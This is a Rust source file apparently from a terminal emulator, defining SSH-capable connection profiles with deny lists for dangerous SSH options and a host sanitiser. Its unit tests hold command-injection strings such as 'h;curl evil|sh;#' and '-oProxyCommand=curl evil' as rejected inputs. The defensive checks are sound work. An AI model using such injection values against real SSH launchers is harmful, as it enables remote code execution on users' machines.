use serde::{Deserialize, Serialize};
use uuid::Uuid;
use super::dynamic::ProfileSource;
pub type ProfileId = Uuid;
#[derive(Debug, Clone, Copy, PartialEq, Eq, Serialize, Deserialize, Default)]
#[serde(rename_all = "snake_case")]
pub enum TmuxConnectionMode {
#[default]
ControlMode,
Normal,
}
impl TmuxConnectionMode {
pub fn is_control_mode(v: &Self) -> bool {
*v == Self::ControlMode
}
}
#[derive(Debug, Clone, Serialize, Deserialize)]
pub struct Profile {
pub id: ProfileId,
pub name: String,
#[serde(default, skip_serializing_if = "Option::is_none")]
pub working_directory: Option<String>,
#[serde(default, skip_serializing_if = "Option::is_none")]
pub shell: Option<String>,
#[serde(default, skip_serializing_if = "Option::is_none")]
pub login_shell: Option<bool>,
#[serde(default, skip_serializing_if = "Option::is_none")]
pub command: Option<String>,
#[serde(default, skip_serializing_if = "Option::is_none")]
pub command_args: Option<Vec<String>>,
#[serde(default, skip_serializing_if = "Option::is_none")]
pub tab_name: Option<String>,
#[serde(default, skip_serializing_if = "Option::is_none")]
pub icon: Option<String>,
#[serde(default)]
pub order: usize,
#[serde(default, skip_serializing_if = "Vec::is_empty")]
pub tags: Vec<String>,
#[serde(default, skip_serializing_if = "Option::is_none")]
pub parent_id: Option<ProfileId>,
#[serde(default, skip_serializing_if = "Option::is_none")]
pub keyboard_shortcut: Option<String>,
#[serde(default, skip_serializing_if = "Vec::is_empty")]
pub hostname_patterns: Vec<String>,
#[serde(default, skip_serializing_if = "Vec::is_empty")]
pub tmux_session_patterns: Vec<String>,
#[serde(default, skip_serializing_if = "Option::is_none")]
pub tmux_session_name: Option<String>,
#[serde(default, skip_serializing_if = "TmuxConnectionMode::is_control_mode")]
pub tmux_connection_mode: TmuxConnectionMode,
#[serde(default, skip_serializing_if = "Vec::is_empty")]
pub directory_patterns: Vec<String>,
#[serde(default, skip_serializing_if = "Option::is_none")]
pub badge_text: Option<String>,
#[serde(default, skip_serializing_if = "Option::is_none")]
pub badge_color: Option<[u8; 3]>,
#[serde(default, skip_serializing_if = "Option::is_none")]
pub badge_color_alpha: Option<f32>,
#[serde(default, skip_serializing_if = "Option::is_none")]
pub badge_font: Option<String>,
#[serde(default, skip_serializing_if = "Option::is_none")]
pub badge_font_bold: Option<bool>,
#[serde(default, skip_serializing_if = "Option::is_none")]
pub badge_top_margin: Option<f32>,
#[serde(default, skip_serializing_if = "Option::is_none")]
pub badge_right_margin: Option<f32>,
#[serde(default, skip_serializing_if = "Option::is_none")]
pub badge_max_width: Option<f32>,
#[serde(default, skip_serializing_if = "Option::is_none")]
pub badge_max_height: Option<f32>,
#[serde(default, skip_serializing_if = "Option::is_none")]
pub shader: Option<String>,
#[serde(default, skip_serializing_if = "Option::is_none")]
pub shader_brightness: Option<f32>,
#[serde(default, skip_serializing_if = "Option::is_none")]
pub shader_text_opacity: Option<f32>,
#[serde(default, skip_serializing_if = "Option::is_none")]
pub shader_animation_speed: Option<f32>,
#[serde(default, skip_serializing_if = "Option::is_none")]
pub shader_texture_set: Option<[Option<String>; 4]>,
#[serde(default, skip_serializing_if = "Option::is_none")]
pub ssh_host: Option<String>,
#[serde(default, skip_serializing_if = "Option::is_none")]
pub ssh_user: Option<String>,
#[serde(default, skip_serializing_if = "Option::is_none")]
pub ssh_port: Option<u16>,
#[serde(default, skip_serializing_if = "Option::is_none")]
pub ssh_identity_file: Option<String>,
#[serde(default, skip_serializing_if = "Option::is_none")]
pub ssh_extra_args: Option<String>,
#[serde(skip)]
pub source: ProfileSource,
}
const DENIED_SSH_FLAGS: &[char] = &['A', 'D', 'R', 'L', 'W', 'w'];
const DENIED_SSH_OPTIONS: &[&str] = &[
"ProxyCommand",
"LocalCommand",
"LocalMaster",
"StrictHostKeyChecking",
"UserKnownHostsFile",
"ForwardAgent",
"PermitLocalCommand",
];
fn ssh_option_key(tok: &str) -> Option<&str> {
if tok.starts_with('-') {
return None;
}
let (key, _value) = tok.split_once('=')?;
if key.is_empty() {
return None;
}
Some(key)
}
fn is_denied_ssh_token(tok: &str) -> bool {
let body = match tok.strip_prefix('-') {
Some(b) => b,
None => {
return ssh_option_key(tok)
.is_some_and(|k| DENIED_SSH_OPTIONS.iter().any(|o| o.eq_ignore_ascii_case(k)));
}
};
let (flag_chars, _value) = body.split_once('=').unwrap_or((body, ""));
if flag_chars.chars().any(|c| DENIED_SSH_FLAGS.contains(&c)) {
return true;
}
if let Some(opt) = flag_chars.strip_prefix(['o', 'O'])
&& !opt.is_empty()
&& DENIED_SSH_OPTIONS
.iter()
.any(|o| o.eq_ignore_ascii_case(opt))
{
return true;
}
false
}
const SHELL_METACHARACTERS: [char; 9] = [';', '|', '&', '$', '`', '(', ')', '<', '>'];
fn is_safe_ssh_host(host: &str) -> bool {
!host.starts_with('-')
&& !host
.chars()
.any(|c| c.is_control() || SHELL_METACHARACTERS.contains(&c))
}
fn filter_ssh_extra_args(extra: &str) -> Vec<String> {
let tokens = match shell_words::split(extra) {
Ok(t) => t,
Err(e) => {
log::warn!(
"[SEC-002] dropping all ssh_extra_args: failed to parse as shell tokens: {e}"
);
return Vec::new();
}
};
let mut filtered = Vec::with_capacity(tokens.len());
let mut i = 0;
while i < tokens.len() {
let tok = tokens[i].as_str();
if is_denied_ssh_token(tok) {
log::warn!("[SEC-002] dropping denied SSH extra arg {:?}", tok);
i += 1;
continue;
}
if (tok == "-o" || tok == "-O") && i + 1 < tokens.len() {
let next = tokens[i + 1].as_str();
if ssh_option_key(next)
.is_some_and(|k| DENIED_SSH_OPTIONS.iter().any(|o| o.eq_ignore_ascii_case(k)))
{
log::warn!(
"[SEC-002] dropping denied SSH option {:?} (passed via {:?})",
next,
tok
);
i += 2;
continue;
}
}
filtered.push(tokens[i].clone());
i += 1;
}
filtered
}
impl Profile {
pub fn new(name: impl Into<String>) -> Self {
Self {
id: Uuid::new_v4(),
name: name.into(),
working_directory: None,
shell: None,
login_shell: None,
command: None,
command_args: None,
tab_name: None,
icon: None,
order: 0,
tags: Vec::new(),
parent_id: None,
keyboard_shortcut: None,
hostname_patterns: Vec::new(),
tmux_session_patterns: Vec::new(),
tmux_session_name: None,
tmux_connection_mode: TmuxConnectionMode::default(),
directory_patterns: Vec::new(),
badge_text: None,
badge_color: None,
badge_color_alpha: None,
badge_font: None,
badge_font_bold: None,
badge_top_margin: None,
badge_right_margin: None,
badge_max_width: None,
badge_max_height: None,
shader: None,
shader_brightness: None,
shader_text_opacity: None,
shader_animation_speed: None,
shader_texture_set: None,
ssh_host: None,
ssh_user: None,
ssh_port: None,
ssh_identity_file: None,
ssh_extra_args: None,
source: ProfileSource::default(),
}
}
pub fn with_id(id: ProfileId, name: impl Into<String>) -> Self {
Self {
id,
name: name.into(),
working_directory: None,
shell: None,
login_shell: None,
command: None,
command_args: None,
tab_name: None,
icon: None,
order: 0,
tags: Vec::new(),
parent_id: None,
keyboard_shortcut: None,
hostname_patterns: Vec::new(),
tmux_session_patterns: Vec::new(),
tmux_session_name: None,
tmux_connection_mode: TmuxConnectionMode::default(),
directory_patterns: Vec::new(),
badge_text: None,
badge_color: None,
badge_color_alpha: None,
badge_font: None,
badge_font_bold: None,
badge_top_margin: None,
badge_right_margin: None,
badge_max_width: None,
badge_max_height: None,
shader: None,
shader_brightness: None,
shader_text_opacity: None,
shader_animation_speed: None,
shader_texture_set: None,
ssh_host: None,
ssh_user: None,
ssh_port: None,
ssh_identity_file: None,
ssh_extra_args: None,
source: ProfileSource::default(),
}
}
pub fn working_directory(mut self, dir: impl Into<String>) -> Self {
self.working_directory = Some(dir.into());
self
}
pub fn shell(mut self, shell: impl Into<String>) -> Self {
self.shell = Some(shell.into());
self
}
pub fn login_shell(mut self, login: bool) -> Self {
self.login_shell = Some(login);
self
}
pub fn command(mut self, cmd: impl Into<String>) -> Self {
self.command = Some(cmd.into());
self
}
pub fn command_args(mut self, args: Vec<String>) -> Self {
self.command_args = Some(args);
self
}
pub fn tab_name(mut self, name: impl Into<String>) -> Self {
self.tab_name = Some(name.into());
self
}
pub fn icon(mut self, icon: impl Into<String>) -> Self {
self.icon = Some(icon.into());
self
}
pub fn order(mut self, order: usize) -> Self {
self.order = order;
self
}
pub fn tags(mut self, tags: Vec<String>) -> Self {
self.tags = tags;
self
}
pub fn parent_id(mut self, parent_id: ProfileId) -> Self {
self.parent_id = Some(parent_id);
self
}
pub fn keyboard_shortcut(mut self, shortcut: impl Into<String>) -> Self {
self.keyboard_shortcut = Some(shortcut.into());
self
}
pub fn hostname_patterns(mut self, patterns: Vec<String>) -> Self {
self.hostname_patterns = patterns;
self
}
pub fn tmux_session_patterns(mut self, patterns: Vec<String>) -> Self {
self.tmux_session_patterns = patterns;
self
}
pub fn tmux_session_name(mut self, name: impl Into<String>) -> Self {
self.tmux_session_name = Some(name.into());
self
}
pub fn tmux_connection_mode(mut self, mode: TmuxConnectionMode) -> Self {
self.tmux_connection_mode = mode;
self
}
pub fn directory_patterns(mut self, patterns: Vec<String>) -> Self {
self.directory_patterns = patterns;
self
}
pub fn badge_text(mut self, text: impl Into<String>) -> Self {
self.badge_text = Some(text.into());
self
}
pub fn badge_color(mut self, color: [u8; 3]) -> Self {
self.badge_color = Some(color);
self
}
pub fn badge_color_alpha(mut self, alpha: f32) -> Self {
self.badge_color_alpha = Some(alpha);
self
}
pub fn badge_font(mut self, font: impl Into<String>) -> Self {
self.badge_font = Some(font.into());
self
}
pub fn badge_font_bold(mut self, bold: bool) -> Self {
self.badge_font_bold = Some(bold);
self
}
pub fn badge_top_margin(mut self, margin: f32) -> Self {
self.badge_top_margin = Some(margin);
self
}
pub fn badge_right_margin(mut self, margin: f32) -> Self {
self.badge_right_margin = Some(margin);
self
}
pub fn badge_max_width(mut self, width: f32) -> Self {
self.badge_max_width = Some(width);
self
}
pub fn badge_max_height(mut self, height: f32) -> Self {
self.badge_max_height = Some(height);
self
}
pub fn ssh_host(mut self, host: impl Into<String>) -> Self {
self.ssh_host = Some(host.into());
self
}
pub fn ssh_user(mut self, user: impl Into<String>) -> Self {
self.ssh_user = Some(user.into());
self
}
pub fn ssh_port(mut self, port: u16) -> Self {
self.ssh_port = Some(port);
self
}
pub fn ssh_command_args(&self) -> Option<Vec<String>> {
let host = self.ssh_host.as_ref()?;
if !is_safe_ssh_host(host) {
log::warn!(
"[SEC-007] refusing to build SSH argv for profile {:?}: \
unsafe ssh_host {:?} (leading '-', control character, \
or shell metacharacter)",
self.name,
host
);
return None;
}
let mut args = Vec::new();
if let Some(port) = self.ssh_port
&& port != 22
{
args.push("-p".to_string());
args.push(port.to_string());
}
if let Some(ref identity) = self.ssh_identity_file {
args.push("-i".to_string());
args.push(identity.clone());
}
if let Some(ref extra) = self.ssh_extra_args {
args.extend(filter_ssh_extra_args(extra));
}
let target = if let Some(ref user) = self.ssh_user {
format!("{}@{}", user, host)
} else {
host.clone()
};
args.push(target);
Some(args)
}
pub fn display_label(&self) -> String {
if let Some(icon) = &self.icon {
format!("{} {}", icon, self.name)
} else {
self.name.clone()
}
}
pub fn validate(&self) -> Vec<String> {
let mut warnings = Vec::new();
if self.name.trim().is_empty() {
warnings.push("Profile name is empty".to_string());
}
if let Some(dir) = &self.working_directory
&& !dir.is_empty()
&& !std::path::Path::new(dir).exists()
{
warnings.push(format!("Working directory does not exist: {}", dir));
}
if let Some(host) = &self.ssh_host
&& !host.is_empty()
&& !is_safe_ssh_host(host)
{
warnings.push(format!(
"ssh_host {:?} is unsafe (SEC-007): must not start with '-', \
or contain control characters or any of ; | & $ ` ( ) < >",
host
));
}
warnings
}
}
impl Default for Profile {
fn default() -> Self {
Self::new("New Profile")
}
}
#[cfg(test)]
mod tests {
use super::*;
#[test]
fn safe_hosts_are_accepted() {
for host in [
"example.com",
"prod.internal",
"10.0.0.4",
"fe80::1",
"host-1_a.local",
] {
assert!(is_safe_ssh_host(host), "expected {host:?} to be accepted");
}
}
#[test]
fn shell_metacharacters_are_rejected() {
for host in [
"h;curl evil|sh;#",
"host;id",
"host|id",
"host&id",
"host$(id)",
"host`id`",
"host$IFS",
"host<in",
"host>out",
] {
assert!(!is_safe_ssh_host(host), "expected {host:?} to be rejected");
}
}
#[test]
fn control_characters_and_leading_dash_are_rejected() {
assert!(!is_safe_ssh_host("host\nid"));
assert!(!is_safe_ssh_host("host\rid"));
assert!(!is_safe_ssh_host("host\0id"));
assert!(!is_safe_ssh_host("host\tid"));
assert!(!is_safe_ssh_host("-oProxyCommand=curl evil"));
}
#[test]
fn unsafe_ssh_host_blocks_argv_and_is_reported_by_validate() {
let mut profile = Profile::new("evil");
profile.ssh_host = Some("h;curl evil|sh;#".to_string());
assert!(profile.ssh_command_args().is_none());
assert!(
profile
.validate()
.iter()
.any(|w| w.contains("is unsafe (SEC-007)"))
);
}
}